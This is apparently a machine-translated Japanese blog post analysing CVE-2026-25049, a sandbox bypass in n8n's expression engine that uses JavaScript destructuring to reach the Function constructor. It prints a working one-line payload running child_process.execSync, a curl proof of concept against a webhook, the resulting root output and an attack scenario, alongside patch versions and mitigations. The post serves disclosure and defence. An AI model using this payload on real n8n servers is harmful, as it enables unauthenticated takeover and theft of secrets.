Arang.dev
検索

N8N RCE脆弱性(CVE-2026-25049)の詳細分析: JavaScriptの分割代入を利用したサンドボックスバイパス

n8nの5重のセキュリティレイヤーを、たった1行のJavaScript構文(Destructuring)で無力化したCVE-2026-25049脆弱性の原因とエクスプロイトコードを詳細に分析します。

#CVE-2026-25049#n8n#RCE#JavaScript#Sandbox Bypass#Node.js
🌐 翻訳済み

この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。

原文(韓国語)を読む

最近、ワークフロー自動化プラットフォームであるn8nで、致命的なリモートコード実行(RCE)脆弱性(CVE-2026-25049)が発見されました。CVSSスコア**9.4 (Critical)**を記録したこの脆弱性は、認証されていない攻撃者が公開されたWebhookを通じてサーバーを完全に掌握できるようにします。

特にこの脆弱性は、n8nが構築しておいた正規表現、AST検査、ランタイム検証などの5段階のセキュリティレイヤーを、JavaScriptの**分割代入(Destructuring Assignment)**という構文的特性を利用してバイパスしたという点で、技術的に非常に興味深いものです。

本記事では、当該脆弱性がどのように発生したのかをコードレベルで分析し、PoC(Proof of Concept)を通じて攻撃の原理を見ていきます。

1. 背景: n8nのサンドボックス防御体系

n8nは、ユーザーがJavaScriptの式(Expression)を使用してデータを処理できる機能を提供します。例えば {{ $json.name }} のような式を、内部的に eval() や Function コンストラクタと類似した方式で実行します。

当然ながらこれはセキュリティ上危険であるため、n8nは次のような多重の防御壁を構築しています。

  1. Regex Check: .constructor のような危険なキーワードが含まれる文字列をブロック
  2. AST Sanitizer: コードの構造(AST)を分析し、危険なノード(MemberExpressionなど)をブロック
  3. Runtime Validator: 実行時点でオブジェクトのプロパティアクセスを検査
  4. Function Sanitizer: 通常の関数で this コンテキストを空のオブジェクトにバインド
  5. Property Removal: eval、Function など危険なグローバルオブジェクトを除去

一見すると完璧に見える防御体系です。しかし、これらすべての防御壁が**「オブジェクトのプロパティアクセスはドット(.)または角括弧([])を通じてのみ行われる」**という誤った仮定の上に築かれていました。

2. 脆弱性の原因: 分割代入 (Destructuring)

JavaScriptでオブジェクトのプロパティを取得する方法は、大きく分けて2つあります。

A. 従来の方式 (ブロックされる)

obj.constructor      // Dot notation
obj['constructor']   // Bracket notation

これらの方式は、AST(Abstract Syntax Tree)上で MemberExpression ノードとしてパースされます。n8nのAST Sanitizerはこのノードを監視しており、正規表現フィルタも .constructor パターンを検出していました。

B. 分割代入 (バイパス成功)

const { constructor } = obj;

ES6から導入された分割代入の構文です。このコードはAST上で VariableDeclaration 内の ObjectPattern としてパースされます。

問題は、n8nのセキュリティロジックが MemberExpression のみを検査し、ObjectPattern は検査していなかったという点です。 また、ソースコードのテキスト上でも .constructor というパターンが現れないため、正規表現フィルタもバイパスできました。

3. Exploit Chainの分析

単に constructor を取得するだけでは不十分です。攻撃者はこれを利用して任意のコードを実行する必要があります。エクスプロイトチェーン全体は次のとおりです。

ステップ1: アロー関数で this を確保

n8nは通常の関数(function() {})の this を空のオブジェクトに強制バインドしてサンドボックス化します。しかし**アロー関数(() => {})**は自分自身の this バインディングを持たず、上位スコープ(Lexical Scope)の this をそのまま使用します。

(() => {
    // 샌드박스 처리되지 않은 원본 'this' 또는 문맥에 접근 가능
})()

ステップ2: 分割代入で Function コンストラクタを取得

アロー関数の内部で、空の関数の constructor を分割代入で取得します。JavaScriptでは、すべての関数のコンストラクタは Function オブジェクトです。つまり、Function コンストラクタを手に入れるということです。

const { constructor } = () => {}; 
// constructor === Function

ステップ3: 任意コードの実行

取得した Function コンストラクタを利用して、文字列になったコードを実行できる関数を作成し、これを即座に実行します。

constructor('return process.mainModule.require("child_process").execSync("id").toString()')()

最終的なPayload

これらすべてを組み合わせると、次のような1行のペイロードが完成します。

={{(() => { 
    const {constructor} = ()=>{}; 
    return constructor('return process.mainModule.require("child_process").execSync("id").toString()')(); 
})()}}

4. PoCおよび攻撃シナリオ

この脆弱性は、n8nのWebhook機能と組み合わさったときに影響力が最大化されます。n8nでは認証なし(Authentication: None)のWebhookを簡単に作成できるためです。

攻撃シナリオ

  1. 攻撃者がn8nインスタンスにアクセス(またはCSRFなどで誘導)して、悪意のあるワークフローを作成。
  2. Webhookノードを追加し、認証を None に設定。
  3. Webhookの後ろに接続されたノード(Setなど)の式フィールドに、上記のRCEペイロードを挿入。
  4. ワークフローを有効化。
  5. 外部から当該WebhookのURLにリクエストを送ると、サーバーでコマンドが実行される。

実際のテスト (PoC)

# Webhook으로 요청 전송
curl -X POST 'http://target-n8n-server.com/webhook/rce-demo' \
 -H 'Content-Type: application/json' \
 --data '{}'

レスポンス結果:

{
 "result": "uid=0(root) gid=0(root) groups=0(root)\n"
}

サーバーの id コマンドが実行され、root権限であることが確認できます。攻撃者はこれを通じて、環境変数(API Key)の窃取、バックドアの設置、内部ネットワークへの侵入など、あらゆる行為が可能になります。

5. 対応およびパッチ

パッチバージョン

n8nチームはこの問題を確認し、即座にパッチを配布しました。

  • 修正されたバージョン: 1.123.17、2.5.2 以上

根本的な解決策

開発者の観点から、この脆弱性は**「ブラックリストベースのセキュリティの限界」**を示しています。JavaScriptはあまりにも柔軟な言語であるため、特定の構文(ドット記法など)だけを防いでも、バイパスの可能性は常に存在します。

  • Regexに依存しないこと: コードはパーサーで分析すべきであり、正規表現で分析してはいけません。
  • ASTカバレッジの拡大: MemberExpression だけでなく、ObjectPattern など、プロパティアクセスが可能なすべてのASTノードを検査する必要があります。
  • Allowlistの適用: 可能であれば、許可されたプロパティのみにアクセスできるよう、ホワイトリスト方式を使用するのが安全です。

おわりに

今回のCVE-2026-25049は、5重の防御壁があっても、たった1つの論理的な盲点(Destructuringの見落とし)によってセキュリティ全体が崩壊しうることを示す、教科書的な事例です。n8nを使用中であれば、直ちに最新バージョンにアップデートしてください。


参考: SecureLayer7 Deep Dive

コメント

コメントを読み込み中...
N8N RCE脆弱性(CVE-2026-25049)の詳細分析: JavaScriptの分割代入を利用したサンドボックスバイパス | Arang